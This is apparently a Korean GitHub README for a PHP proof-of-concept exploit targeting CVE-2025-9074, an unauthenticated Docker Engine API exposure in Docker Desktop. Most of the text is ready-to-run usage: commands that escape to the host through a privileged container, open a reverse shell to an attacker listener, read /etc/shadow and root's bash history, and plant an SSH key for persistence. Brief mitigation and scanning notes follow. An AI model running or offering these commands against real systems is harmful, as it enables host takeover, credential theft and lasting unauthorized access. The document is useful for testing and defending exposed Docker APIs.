
CVE-2025-9074용 PHP poc, 익스플로잇
심각도: CRITICAL | CVSS 점수: 9.8 (추정) | 영향받는 버전: Docker Desktop < 4.44.3
CVE-2025-9074에 대한 개념 증명(POC) 익스플로잇으로, Docker Engine API의 무인증 원격 코드 실행(RCE) 취약점을 통해 권한 있는 컨테이너 탈출과 호스트 시스템 장악을 허용합니다.
CVE-2025-9074는 적절한 인증이나 네트워크 격리 없이 Docker Engine API를 노출하는 Docker Desktop의 치명적인 취약점입니다. 이를 통해 원격 공격자는 다음을 수행할 수 있습니다:
이 취약점은 다음에 영향을 미칩니다:
git clone https://github.com/yourusername/CVE-2025-9074.git
cd CVE-2025-9074
Docker 호스트에서 단일 명령을 실행합니다:
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"
대화형 리버스 셸을 설정합니다:
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Run exploit
php poc.php -u http://192.168.65.7:2375 -m reverse -l 10.10.14.36 -p 4444
php poc.php -u <url> [options]
대상에서 단일 명령을 실행합니다:
# Simple command
php poc.php -u http://192.168.65.7:2375 -m cmd -c "id"
# Read files from host
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/flag.txt" --cleanup
# With cleanup
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami" --cleanup
콜백을 사용하여 대화형 셸을 생성합니다:
php poc.php -u http://192.168.65.7:2375 -m reverse -l 192.168.1.100 -p 4444
php poc.php -u http://target:2375 -m cmd -c "cat /mnt/hostfs/etc/shadow" --os linux
php poc.php -u http://target:2375 -m cmd -c "dir C:\" --os windows
php poc.php -u http://target:2375 -m cmd -c "ls -la /mnt/hostfs/Users/" --os mac
# Enumerate host system
php poc.php -u http://192.168.65.7:2375 -m cmd -c "uname -a"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"
# Extract sensitive files
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/root/.bash_history"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/etc/passwd"
# Add SSH key
php poc.php -u http://192.168.65.7:2375 -m cmd -c "mkdir -p /mnt/hostfs/root/.ssh && echo 'SSH_KEY' >> /mnt/hostfs/root/.ssh/authorized_keys"
# Enumerate running containers and networks
php poc.php -u http://192.168.65.7:2375 -m cmd -c "docker ps --all"
0.0.0.0:2375에서 수신 대기/containers/create를 통해 권한 있는 컨테이너 생성/:/mnt/hostfs/:/mnt/hostfs/mnt/host/c:/mnt/hostfs/mnt/hostfs 경로에 대한 직접 읽기/쓰기 접근┌─────────────────────────────────────────────────────┐
│ poc.php (Your Machine) │
└────────────┬────────────────────────────────────────┘
│ HTTP REST API Call
▼
┌─────────────────────────────────────────────────────┐
│ Docker API (Target Port 2375) [UNAUTHENTICATED] │
└────────────┬────────────────────────────────────────┘
│ Creates Container
▼
┌─────────────────────────────────────────────────────┐
│ Privileged Alpine Container │
│ ├─ Full Root Access │
│ ├─ Bind Mount: /:/mnt/hostfs │
│ └─ Executes Attacker Command │
└────────────┬────────────────────────────────────────┘
│ Command Output
▼
┌─────────────────────────────────────────────────────┐
│ Output Returned to Attacker │
└─────────────────────────────────────────────────────┘
Docker Desktop 업그레이드
# Update to version 4.44.3 or later
네트워크 격리
TLS 인증 활성화
# Configure Docker daemon with TLS certificates
# In daemon.json:
{
"tlsverify": true,
"tlscacert": "/etc/docker/ca.pem",
"tlscert": "/etc/docker/server-cert.pem",
"tlskey": "/etc/docker/server-key.pem"
}
네트워크 분할
/var/run/docker.sock) 사용# Scan for exposed Docker APIs
nmap -p 2375,2376 -sV target_network
# Check if port responds to Docker API
curl -s http://target:2375/version
이 도구는 공인된 보안 테스트 및 교육 목적으로만 제공됩니다.
기여는 언제나 환영합니다! 이슈를 제출하거나 풀 리퀘스트를 보내 주세요.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 - 자세한 내용은 LICENSE 파일을 참조하십시오.
보안 연구원 | 침투 테스터
마지막 업데이트: 2025년 5월 | 상태: 활발한 연구 중
| 옵션 | 단축 | 필수 | 설명 |
|---|
--url | -u | ✅ 예 | Docker API URL (예: http://1.2.3.4:2375) |
--mode | -m | ❌ 아니요 | 실행 모드: cmd 또는 reverse (기본값: cmd) |
--cmd | -c | ⚠️ cmd 모드에서 | 대상에서 실행할 명령 |
--lhost | -l | ⚠️ reverse 모드에서 | 콜백에 사용할 IP 주소 |
--lport | -p | ❌ 아니요 | 리스닝 포트 (기본값: 4444) |
--os | — | ❌ 아니요 | 대상 OS: linux, mac, windows (기본값: linux) |
--cleanup | — | ❌ 아니요 | 실행 후 컨테이너 제거 |
--help | -h | ❌ 아니요 | 도움말 메시지 표시 |